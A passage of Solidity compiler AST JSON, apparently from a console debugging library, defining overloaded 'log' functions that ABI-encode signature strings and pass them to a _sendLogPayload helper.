memory)"}},"id":28867,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44845:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28859,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"44829:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28868,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44829:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28869,"nodeType":"ExpressionStatement","src":"44829:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44741:3:15","parameters":{"id":28857,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28850,"mutability":"mutable","name":"p0","nameLocation":"44759:2:15","nodeType":"VariableDeclaration","scope":28871,"src":"44745:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28849,"name":"string","nodeType":"ElementaryTypeName","src":"44745:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28852,"mutability":"mutable","name":"p1","nameLocation":"44771:2:15","nodeType":"VariableDeclaration","scope":28871,"src":"44763:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28851,"name":"address","nodeType":"ElementaryTypeName","src":"44763:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28854,"mutability":"mutable","name":"p2","nameLocation":"44783:2:15","nodeType":"VariableDeclaration","scope":28871,"src":"44775:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28853,"name":"address","nodeType":"ElementaryTypeName","src":"44775:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28856,"mutability":"mutable","name":"p3","nameLocation":"44801:2:15","nodeType":"VariableDeclaration","scope":28871,"src":"44787:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28855,"name":"string","nodeType":"ElementaryTypeName","src":"44787:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"44744:60:15"},"returnParameters":{"id":28858,"nodeType":"ParameterList","parameters":[],"src":"44819:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28894,"nodeType":"FunctionDefinition","src":"44936:187:15","nodes":[],"body":{"id":28893,"nodeType":"Block","src":"45014:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c616464726573732c626f6f6c29","id":28885,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"45064:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b59dbd60587b4eeae521d5427cbc88bff32729f88aff059e7deb0a3a4320aaf4","typeString":"literal_string \"log(string,address,address,bool)\""},"value":"log(string,address,address,bool)"},{"id":28886,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28873,"src":"45100:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28887,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28875,"src":"45104:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28888,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28877,"src":"45108:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28889,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28879,"src":"45112:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b59dbd60587b4eeae521d5427cbc88bff32729f88aff059e7deb0a3a4320aaf4","typeString":"literal_string \"log(string,address,address,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28883,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45040:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28884,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45044:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45040:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45040:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28882,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"45024:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28891,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45024:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28892,"nodeType":"ExpressionStatement","src":"45024:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44945:3:15","parameters":{"id":28880,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28873,"mutability":"mutable","name":"p0","nameLocation":"44963:2:15","nodeType":"VariableDeclaration","scope":28894,"src":"44949:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28872,"name":"string","nodeType":"ElementaryTypeName","src":"44949:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28875,"mutability":"mutable","name":"p1","nameLocation":"44975:2:15","nodeType":"VariableDeclaration","scope":28894,"src":"44967:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28874,"name":"address","nodeType":"ElementaryTypeName","src":"44967:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28877,"mutability":"mutable","name":"p2","nameLocation":"44987:2:15","nodeType":"VariableDeclaration","scope":28894,"src":"44979:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28876,"name":"address","nodeType":"ElementaryTypeName","src":"44979:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28879,"mutability":"mutable","name":"p3","nameLocation":"44996:2:15","nodeType":"VariableDeclaration","scope":28894,"src":"44991:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28878,"name":"bool","nodeType":"ElementaryTypeName","src":"44991:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"44948:51:15"},"returnParameters":{"id":28881,"nodeType":"ParameterList","parameters":[],"src":"45014:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28917,"nodeType":"FunctionDefinition","src":"45129:193:15","nodes":[],"body":{"id":28916,"nodeType":"Block","src":"45210:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c616464726573732c6164647265737329","id":28908,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"45260:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ed8f28f6f4b5d54b1d37f705e543f556805f28b9d1bb3aef0ef7e57ef4992d15","typeString":"literal_string \"log(string,address,address,address)\""},"value":"log(string,address,address,address)"},{"id":28909,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28896,"src":"45299:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28910,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28898,"src":"45303:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28911,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28900,"src":"45307:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":28912,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28902,"src":"45311:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ed8f28f6f4b5d54b1d37f705e543f556805f28b9d1bb3aef0ef7e57ef4992d15","typeString":"literal_string \"log(string,address,address,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28906,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45236:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28907,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45240:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45236:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28913,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45236:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28905,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"45220:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45220:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28915,"nodeType":"ExpressionStatement","src":"45220:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45138:3:15","parameters":{"id":28903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28896,"mutability":"mutable","name":"p0","nameLocation":"45156:2:15","nodeType":"VariableDeclaration","scope":28917,"src":"45142:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28895,"name":"string","nodeType":"ElementaryTypeName","src":"45142:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28898,"mutability":"mutable","name":"p1","nameLocation":"45168:2:15","nodeType":"VariableDeclaration","scope":28917,"src":"45160:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28897,"name":"address","nodeType":"ElementaryTypeName","src":"45160:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28900,"mutability":"mutable","name":"p2","nameLocation":"45180:2:15","nodeType":"VariableDeclaration","scope":28917,"src":"45172:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28899,"name":"address","nodeType":"ElementaryTypeName","src":"45172:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":28902,"mutability":"mutable","name":"p3","nameLocation":"45192:2:15","nodeType":"VariableDeclaration","scope":28917,"src":"45184:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28901,"name":"address","nodeType":"ElementaryTypeName","src":"45184:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"45141:54:15"},"returnParameters":{"id":28904,"nodeType":"ParameterList","parameters":[],"src":"45210:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28940,"nodeType":"FunctionDefinition","src":"45328:182:15","nodes":[],"body":{"id":28939,"nodeType":"Block","src":"45400:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c75696e743235362c75696e7432353629","id":28931,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"45450:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_374bb4b29e495d2b557643d341fe72136bf6e92f2ac9b1edd86dbbd72a19d62b","typeString":"literal_string \"log(bool,uint256,uint256,uint256)\""},"value":"log(bool,uint256,uint256,uint256)"},{"id":28932,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28919,"src":"45487:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28933,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28921,"src":"45491:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28934,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28923,"src":"45495:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28935,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28925,"src":"45499:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_374bb4b29e495d2b557643d341fe72136bf6e92f2ac9b1edd86dbbd72a19d62b","typeString":"literal_string \"log(bool,uint256,uint256,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28929,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45426:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28930,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45430:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45426:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28936,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45426:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28928,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"45410:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28937,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45410:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28938,"nodeType":"ExpressionStatement","src":"45410:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45337:3:15","parameters":{"id":28926,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28919,"mutability":"mutable","name":"p0","nameLocation":"45346:2:15","nodeType":"VariableDeclaration","scope":28940,"src":"45341:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28918,"name":"bool","nodeType":"ElementaryTypeName","src":"45341:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28921,"mutability":"mutable","name":"p1","nameLocation":"45358:2:15","nodeType":"VariableDeclaration","scope":28940,"src":"45350:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28920,"name":"uint256","nodeType":"ElementaryTypeName","src":"45350:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28923,"mutability":"mutable","name":"p2","nameLocation":"45370:2:15","nodeType":"VariableDeclaration","scope":28940,"src":"45362:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28922,"name":"uint256","nodeType":"ElementaryTypeName","src":"45362:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28925,"mutability":"mutable","name":"p3","nameLocation":"45382:2:15","nodeType":"VariableDeclaration","scope":28940,"src":"45374:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28924,"name":"uint256","nodeType":"ElementaryTypeName","src":"45374:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"45340:45:15"},"returnParameters":{"id":28927,"nodeType":"ParameterList","parameters":[],"src":"45400:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28963,"nodeType":"FunctionDefinition","src":"45516:187:15","nodes":[],"body":{"id":28962,"nodeType":"Block","src":"45594:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c75696e743235362c737472696e6729","id":28954,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"45644:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8e69fb5dd49f06ae0054ca1d4af84221644c5b45a9306505e04580a4156255c3","typeString":"literal_string \"log(bool,uint256,uint256,string)\""},"value":"log(bool,uint256,uint256,string)"},{"id":28955,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28942,"src":"45680:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28956,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28944,"src":"45684:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28957,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28946,"src":"45688:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28958,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28948,"src":"45692:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8e69fb5dd49f06ae0054ca1d4af84221644c5b45a9306505e04580a4156255c3","typeString":"literal_string \"log(bool,uint256,uint256,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28952,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45620:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28953,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45624:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45620:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28959,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45620:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28951,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"45604:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28960,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45604:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28961,"nodeType":"ExpressionStatement","src":"45604:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45525:3:15","parameters":{"id":28949,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28942,"mutability":"mutable","name":"p0","nameLocation":"45534:2:15","nodeType":"VariableDeclaration","scope":28963,"src":"45529:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28941,"name":"bool","nodeType":"ElementaryTypeName","src":"45529:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28944,"mutability":"mutable","name":"p1","nameLocation":"45546:2:15","nodeType":"VariableDeclaration","scope":28963,"src":"45538:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28943,"name":"uint256","nodeType":"ElementaryTypeName","src":"45538:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28946,"mutability":"mutable","name":"p2","nameLocation":"45558:2:15","nodeType":"VariableDeclaration","scope":28963,"src":"45550:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28945,"name":"uint256","nodeType":"ElementaryTypeName","src":"45550:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28948,"mutability":"mutable","name":"p3","nameLocation":"45576:2:15","nodeType":"VariableDeclaration","scope":28963,"src":"45562:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28947,"name":"string","nodeType":"ElementaryTypeName","src":"45562:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"45528:51:15"},"returnParameters":{"id":28950,"nodeType":"ParameterList","parameters":[],"src":"45594:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28986,"nodeType":"FunctionDefinition","src":"45709:176:15","nodes":[],"body":{"id":28985,"nodeType":"Block","src":"45778:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c75696e743235362c626f6f6c29","id":28977,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"45828:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_be9843530e69b1feba88a3a9701a6984aaa8a57e749a7f9d10c857993e79900d","typeString":"literal_string \"log(bool,uint256,uint256,bool)\""},"value":"log(bool,uint256,uint256,bool)"},{"id":28978,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28965,"src":"45862:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28979,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28967,"src":"45866:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28980,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28969,"src":"45870:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28981,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28971,"src":"45874:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_be9843530e69b1feba88a3a9701a6984aaa8a57e749a7f9d10c857993e79900d","typeString":"literal_string \"log(bool,uint256,uint256,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28975,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45804:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28976,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45808:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45804:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28982,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45804:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28974,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"45788:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28983,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45788:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28984,"nodeType":"ExpressionStatement","src":"45788:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45718:3:15","parameters":{"id":28972,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28965,"mutability":"mutable","name":"p0","nameLocation":"45727:2:15","nodeType":"VariableDeclaration","scope":28986,"src":"45722:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28964,"name":"bool","nodeType":"ElementaryTypeName","src":"45722:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28967,"mutability":"mutable","name":"p1","nameLocation":"45739:2:15","nodeType":"VariableDeclaration","scope":28986,"src":"45731:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28966,"name":"uint256","nodeType":"ElementaryTypeName","src":"45731:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28969,"mutability":"mutable","name":"p2","nameLocation":"45751:2:15","nodeType":"VariableDeclaration","scope":28986,"src":"45743:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28968,"name":"uint256","nodeType":"ElementaryTypeName","src":"45743:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28971,"mutability":"mutable","name":"p